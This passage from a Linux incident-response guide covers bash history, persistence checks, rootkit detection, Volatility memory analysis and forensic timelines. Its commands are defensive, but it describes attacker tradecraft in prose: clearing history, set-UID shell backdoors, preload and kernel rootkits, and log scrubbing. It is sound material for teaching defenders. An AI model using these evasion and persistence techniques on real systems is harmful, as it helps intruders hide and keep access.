* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path &#039;/usr/*&#039; -ls 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# the full list of set-UID programs&lt;br /&gt;
sudo find / -xdev -perm -4000 -type f 2&amp;gt;/dev/null&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compare the full list against a clean machine of the same OS, the same baseline-and-&amp;lt;code&amp;gt;diff&amp;lt;/code&amp;gt; technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;, and dot-prefixed directories under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev&amp;lt;/code&amp;gt; are all worth a closer look.&lt;br /&gt;
&lt;br /&gt;
=== A post-exploitation checklist ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Check !! How&lt;br /&gt;
|-&lt;br /&gt;
| New or unexpected SSH keys || Read every &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;. If you find one, search your other machines for the same key.&lt;br /&gt;
|-&lt;br /&gt;
| Unexpected group members || Compare &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt; against what you expect, especially groups named in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Unlocked service accounts || Service accounts should have &amp;lt;code&amp;gt;nologin&amp;lt;/code&amp;gt; (or &amp;lt;code&amp;gt;false&amp;lt;/code&amp;gt;) as their shell and no valid password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;.&lt;br /&gt;
|-&lt;br /&gt;
| Extra UID 0 accounts || &amp;lt;code&amp;gt;awk -F: &#039;$3==0&#039; /etc/passwd&amp;lt;/code&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Edited sudo rules || Read &amp;lt;code&amp;gt;/etc/sudoers&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/sudoers.d/&amp;lt;/code&amp;gt; directly.&lt;br /&gt;
|-&lt;br /&gt;
| Unauthorized set-UID bits || The &amp;lt;code&amp;gt;find&amp;lt;/code&amp;gt; commands above.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Step 5: Rootkits and tampering ==&lt;br /&gt;
&lt;br /&gt;
A &#039;&#039;&#039;rootkit&#039;&#039;&#039; is malware built to hide itself and the attacker&#039;s other activity. Two kinds are common on Linux:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;User-space (library preload) rootkits&#039;&#039;&#039; install a malicious shared library and make every program load it (through &amp;lt;code&amp;gt;/etc/ld.so.preload&amp;lt;/code&amp;gt; or the &amp;lt;code&amp;gt;LD_PRELOAD&amp;lt;/code&amp;gt; variable), so that &amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; and friends quietly leave out the attacker&#039;s files, processes and connections. Older rootkits simply replaced those programs.&lt;br /&gt;
* &#039;&#039;&#039;Kernel-module (LKM) rootkits&#039;&#039;&#039; load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under &amp;lt;code&amp;gt;/usr/src&amp;lt;/code&amp;gt;) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.&lt;br /&gt;
&lt;br /&gt;
=== Signs something is being hidden ===&lt;br /&gt;
&lt;br /&gt;
* Basic tools misbehave, disagree with each other, or stop working (&amp;lt;code&amp;gt;ls&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; failing on an otherwise healthy system).&lt;br /&gt;
* A listening port shows in a port scan from another machine but not in &amp;lt;code&amp;gt;ss&amp;lt;/code&amp;gt; on the host.&lt;br /&gt;
* Disk usage that does not add up, or CPU usage with no process to explain it.&lt;br /&gt;
* Logs with unexplained gaps, zero-length files (&amp;lt;code&amp;gt;/var/log/wtmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt;) or timestamps that jump backwards.&lt;br /&gt;
* A &amp;quot;tainted&amp;quot; kernel: &amp;lt;code&amp;gt;cat /proc/sys/kernel/tainted&amp;lt;/code&amp;gt; is non-zero. Legitimate causes exist (proprietary or out-of-tree drivers), so treat it as a reason to ask &amp;quot;which module?&amp;quot;,  it is not necessarily a verdict.&lt;br /&gt;
&lt;br /&gt;
=== Detection tools ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install rkhunter chkrootkit       # or dnf install on RHEL-family (EPEL)&lt;br /&gt;
sudo rkhunter --check --sk --rwo           # run all checks; skip keypress prompts; report warnings only&lt;br /&gt;
sudo chkrootkit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; compare the system against known signatures and known-bad file locations and look for suspicious changes. Findings are logged (for rkhunter, in &amp;lt;code&amp;gt;/var/log/rkhunter.log&amp;lt;/code&amp;gt;). They are a quick extra check, however they are not the main method. Treat their output as leads from which to begin searches:&lt;br /&gt;
&lt;br /&gt;
* They are &#039;&#039;&#039;signature-based&#039;&#039;&#039;: they recognize rootkits they already know about, so a clean report says little about new or custom tools (false negatives), and a warning does not prove a rootkit (false positives). &amp;lt;code&amp;gt;chkrootkit&amp;lt;/code&amp;gt; in particular sees little development, and many investigators no longer rely on it.&lt;br /&gt;
* They run &#039;&#039;on&#039;&#039; the suspect system. Against a kernel-level rootkit, the tool is being lied to as well. Where it matters, examine the disk from trusted boot media or a copy of the disk image, and analyze memory from outside the machine (see [[#Going deeper: memory analysis with Volatility 3|Volatility]]).&lt;br /&gt;
* &amp;lt;code&amp;gt;rkhunter&amp;lt;/code&amp;gt; is much more useful if you run &amp;lt;code&amp;gt;sudo rkhunter --propupd&amp;lt;/code&amp;gt; on a known-clean system first, so later runs can detect changed files.&lt;br /&gt;
&lt;br /&gt;
=== Verify installed files against the package manager ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo apt install debsums &amp;amp;&amp;amp; sudo debsums -c      # Debian/Ubuntu: list installed files whose checksum changed&lt;br /&gt;
sudo rpm -Va                                      # RHEL family: verify all packages&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A modified &amp;lt;code&amp;gt;/bin/ls&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/usr/bin/ps&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; that does not match its package is a serious finding. (Configuration files legitimately differ, and a determined attacker can also tamper with the package database, so this is one more piece of evidence, not proof.)&lt;br /&gt;
&lt;br /&gt;
=== Cross-checking tools against each other ===&lt;br /&gt;
&lt;br /&gt;
Because a rootkit typically fools some tools but not others, disagreement is informative:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo /usr/src/.*                  # the shell&#039;s own glob expansion; does it show entries ls hides?&lt;br /&gt;
ls /proc | grep -E &#039;^[0-9]+$&#039; | wc -l ; ps -e --no-headers | wc -l     # process count via /proc vs via ps&lt;br /&gt;
sudo apt install unhide &amp;amp;&amp;amp; sudo unhide proc                             # look for processes hidden from ps&lt;br /&gt;
lsmod                                                                     # compare to a known-good machine&#039;s module list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A statically linked tool (such as &amp;lt;code&amp;gt;busybox&amp;lt;/code&amp;gt;, if installed) does not load shared libraries, so it is not fooled by a library-preload rootkit. Kernel-module rootkits are much harder to catch from inside the running system, which is why memory analysis is the stronger method.&lt;br /&gt;
&lt;br /&gt;
=== Log tampering ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -la /var/log                    # any log suddenly tiny, empty, or not modified when it should be?&lt;br /&gt;
journalctl --verify                # consistency check of the journal files&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The best defense is a copy of the logs the attacker cannot reach: forward them to a remote log server (for example with &amp;lt;code&amp;gt;rsyslog&amp;lt;/code&amp;gt;) so that deleting local lines does not delete the record.&lt;br /&gt;
&lt;br /&gt;
== Going deeper: memory analysis with Volatility 3 ==&lt;br /&gt;
&lt;br /&gt;
Why bother with memory? It is smaller than the disk (64 GB of RAM is far easier to collect and store than 2 TB of disk) and holds things a disk image does not: every running process (including hidden ones), network connections, the shell history of open sessions, loaded kernel modules, cached file contents, and sometimes encryption keys.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/volatilityfoundation/volatility3 Volatility 3] is the standard open-source framework for analyzing memory images. Its Linux support has one big obstacle.&lt;br /&gt;
&lt;br /&gt;
=== The symbols problem ===&lt;br /&gt;
&lt;br /&gt;
Volatility must know how the exact kernel that produced the image lays out its data in memory. That description is called a &amp;quot;symbol table&amp;quot; (or profile). Windows and macOS have few kernel versions, so ready-made ones exist. Linux has thousands of combinations (each distribution, each kernel update, each vendor&#039;s build options), and you may need a different symbol file for every machine in an investigation.&lt;br /&gt;
&lt;br /&gt;
Making one requires the kernel built &#039;&#039;&#039;with debugging symbols&#039;&#039;&#039;: a &amp;quot;debug&amp;quot; kernel package for the exact version (named with &amp;lt;code&amp;gt;-dbg&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-dbgsym&amp;lt;/code&amp;gt; depending on the distribution), which is large (gigabytes) and not always available (some distributions do not publish them, and end-of-life systems may have lost them). The Volatility documentation itself states that it may not be possible to find the right symbols for a Linux image. A community-maintained collection of ready-made symbol files exists (see the [https://volatility3.readthedocs.io/en/latest/symbol-tables.html symbol tables documentation]), so check it before building your own.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. What kernel was running? (a banner is stored in memory)&lt;br /&gt;
vol -f memory.lime banners.Banners&lt;br /&gt;
strings -a memory.lime | grep PRETTY_NAME=            # the distribution name, too&lt;br /&gt;
&lt;br /&gt;
# 2. If you have the matching debug kernel (a large &amp;quot;vmlinux&amp;quot; file, hundreds of MB; a normal one is under ~10 MB)&lt;br /&gt;
sudo find / -name &#039;vmlinu*&#039; -size +100M 2&amp;gt;/dev/null&lt;br /&gt;
file /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64      # look for &amp;quot;with debug_info, not stripped&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# 3. Convert it into a symbol file and place it where Volatility looks&lt;br /&gt;
dwarf2json linux --elf /usr/lib/debug/boot/vmlinux-5.10.0-21-amd64 &amp;gt; vmlinux-5.10.0-21-amd64.json&lt;br /&gt;
cp vmlinux-5.10.0-21-amd64.json /path/to/volatility3/symbols/linux/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If the debug kernel is present on the machine you are analyzing, you are very lucky. The command name (&amp;lt;code&amp;gt;vol&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;vol.py&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;vol3.py&amp;lt;/code&amp;gt;) depends on how it was installed, and you can keep symbol files with the image by pointing Volatility at the current directory with &amp;lt;code&amp;gt;-s .&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== The plugins you will use most ===&lt;br /&gt;
&lt;br /&gt;
Plugin names and output change between versions. List the current ones with &amp;lt;code&amp;gt;vol --help | grep linux.&amp;lt;/code&amp;gt;. A good first test is &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt;: it is fast, and if it produces sensible output your image and symbols are working.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Plugin !! What it answers&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pslist.PsList&amp;lt;/code&amp;gt; || What processes exist (PID, parent PID, name)?&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.psaux.PsAux&amp;lt;/code&amp;gt; || The same, with each process&#039;s full command line.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.pstree.PsTree&amp;lt;/code&amp;gt; || The parent/child tree, useful for &amp;quot;how was this started?&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsof.Lsof&amp;lt;/code&amp;gt; || Which files does a process have open (add &amp;lt;code&amp;gt;--pid&amp;lt;/code&amp;gt; to pick one)? Reveals executables and data in strange places.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.elfs.Elfs&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;linux.proc.Maps&amp;lt;/code&amp;gt; || Which executable and libraries a process loaded, and its memory segments (where injected code can appear).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.sockstat.Sockstat&amp;lt;/code&amp;gt; || Network connections and listeners (filter with &amp;lt;code&amp;gt;grep AF_INET&amp;lt;/code&amp;gt; to skip the noisy local sockets).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.bash.Bash&amp;lt;/code&amp;gt; || Command history recovered from running shells, &#039;&#039;with timestamps&#039;&#039;.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;linux.lsmod.Lsmod&amp;lt;/code&amp;gt; || Loaded kernel modules (the ones that are not hidden).&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin is often more valuable than the history file on disk, for two reasons: history in memory includes the current session&#039;s commands that have not been saved yet, and each command has a timestamp. When a shell starts, it loads the saved history, so the first block of lines all share the shell&#039;s start time; the lines after them, with different times, are what was typed in that session.&lt;br /&gt;
&lt;br /&gt;
=== Hunting for rootkits in memory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
vol -s . -f memory.lime linux.check_modules.Check_modules    # kernel modules hidden from the normal module lists&lt;br /&gt;
vol -s . -f memory.lime linux.check_syscall.Check_syscall    # system calls whose handlers have been replaced (hooks)&lt;br /&gt;
vol -s . -f memory.lime linux.check_creds.Check_creds        # processes sharing credentials, a sign of credential tampering&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_modules&amp;lt;/code&amp;gt; compares the several lists the kernel keeps of loaded modules and reports modules missing from some of them, the fingerprint of a module hiding itself. Expect the occasional false positive (for example a legitimate virtualization driver), so investigate everything. A rootkit that does not hide, instead using an ordinary name, is caught by comparing &amp;lt;code&amp;gt;Lsmod&amp;lt;/code&amp;gt; output with a known-good machine.&lt;br /&gt;
* &amp;lt;code&amp;gt;Check_syscall&amp;lt;/code&amp;gt; shows the system-call table. Depending on the version, it may not flag hooked entries directly, so a practical trick is to run it on a memory image from a clean machine of the same kernel and compare the two lists: anything present in one but not the other stands out. In one published example (a memory image infected with a known Linux rootkit), the entries that differed were for listing directories (which lets a rootkit hide files, and, because Linux exposes processes as files under &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt;, hide processes too) and for sending signals.&lt;br /&gt;
* Other plugins (for example &amp;lt;code&amp;gt;Check_afinfo&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Check_idt&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Keyboard_notifiers&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;Tty_check&amp;lt;/code&amp;gt;) look for network-structure tampering and keylogger techniques.&lt;br /&gt;
&lt;br /&gt;
After that use YARA rules built from indicators you already have (the &amp;lt;code&amp;gt;YaraScan&amp;lt;/code&amp;gt; plugin, or YARA directly), look at the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; history for the commands used to install the rootkit, and search the image with &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== No symbol file? Quick triage instead ===&lt;br /&gt;
&lt;br /&gt;
Even without Volatility working, a memory image can be mined. &amp;lt;code&amp;gt;strings&amp;lt;/code&amp;gt; pulls out readable text, and [https://github.com/simsong/bulk_extractor bulk_extractor] finds and tallies URLs, addresses, e-mail addresses and domains, and extracts any network packets it finds.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
strings -a memory.lime | gzip &amp;gt; memory.strings.gz    # keep for context searches&lt;br /&gt;
bulk_extractor -o be-out memory.lime                 # the output folder must not already exist&lt;br /&gt;
&lt;br /&gt;
head be-out/url_histogram.txt                         # start with the histograms: common URLs, IPs, domains&lt;br /&gt;
head be-out/ip_histogram.txt&lt;br /&gt;
&lt;br /&gt;
# who was talking to whom, from packet fragments bulk_extractor recovered&lt;br /&gt;
tshark -n -r be-out/packets.pcap -Tfields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport | sort | uniq -c | sort -nr | head&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Look for what does not belong: a strange URL, an address you do not recognize appearing many times in a row (like g00gle.com). Then search the saved strings around that item (&amp;lt;code&amp;gt;zgrep -F -C3 suspicious.example memory.strings.gz&amp;lt;/code&amp;gt;) for context.&lt;br /&gt;
&lt;br /&gt;
== Step 6: Building a timeline ==&lt;br /&gt;
&lt;br /&gt;
Investigations get clear once events are in one ordered list. A &#039;&#039;&#039;timeline&#039;&#039;&#039; combines file timestamps (and, with more effort, log entries) into a single chronological view, so you can see the attacker moving through the system. It is one of the fastest ways to find intrusion artifacts.&lt;br /&gt;
&lt;br /&gt;
=== Quick version ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# every file changed on 10 Sep, oldest first: change time, modify time, owner, path&lt;br /&gt;
sudo find / -xdev -type f -newermt &#039;2026-09-10 00:00&#039; ! -newermt &#039;2026-09-11 00:00&#039; \&lt;br /&gt;
     -printf &#039;%C+ %T+ %u %p\n&#039; | sort&lt;br /&gt;
&lt;br /&gt;
stat /var/tmp/.cache/update        # shows access, modify, change (and, on many filesystems, birth) times&lt;br /&gt;
&lt;br /&gt;
# files changed after a file you already know the attacker touched&lt;br /&gt;
sudo find / -xdev -newer /etc/passwd -type f -ls 2&amp;gt;/dev/null&lt;br /&gt;
ls -lArt /etc                      # a directory sorted by modification time, oldest first&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The full method (The Sleuth Kit) ===&lt;br /&gt;
&lt;br /&gt;
For a real investigation, use [https://www.sleuthkit.org/ The Sleuth Kit]. You collect the raw timestamps into a &amp;quot;body file&amp;quot; (named after an early forensic toolkit), then turn it into a sorted timeline. Here the file systems come from a disk image; on a live system, UAC has already collected a body file for you.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. one body file per file system (&amp;quot;-m /&amp;quot; = the mount point prefix to put on each path)&lt;br /&gt;
fls -r -m / /dev/mapper/VOLUME_GROUP_NAME-root | gzip &amp;gt; bodyfile-root.gz&lt;br /&gt;
fls -o 2048 -r -m /boot /mnt/img/ewf1 | gzip &amp;gt; bodyfile-boot.gz     # -o = the partition&#039;s start sector, from mmls&lt;br /&gt;
&lt;br /&gt;
# 2. build a chronological CSV, in UTC, showing user and group names from the image (not your workstation)&lt;br /&gt;
zcat bodyfile-*.gz | mactime -d -y -p /mnt/data/etc/passwd -g /mnt/data/etc/group 2026-09-01 &amp;gt; timeline.csv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Open the CSV in a spreadsheet or a timeline viewer. The date argument means &amp;quot;from this date forward&amp;quot;; use a range such as &amp;lt;code&amp;gt;2026-09-01..2026-09-15&amp;lt;/code&amp;gt; to limit it further. Then start from &#039;&#039;&#039;pivot points&#039;&#039;&#039;: places in the timeline you already have reason to look.&lt;br /&gt;
&lt;br /&gt;
* The moment a suspicious executable was created (its birth or change time) and the directory it was installed in.&lt;br /&gt;
* Modification times on &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt; if accounts were added.&lt;br /&gt;
* An alert, a log entry or a suspicious login.&lt;br /&gt;
* Files created just before a persistence mechanism (a cron entry, a service unit) was added.&lt;br /&gt;
&lt;br /&gt;
=== Understanding Linux timestamps ===&lt;br /&gt;
&lt;br /&gt;
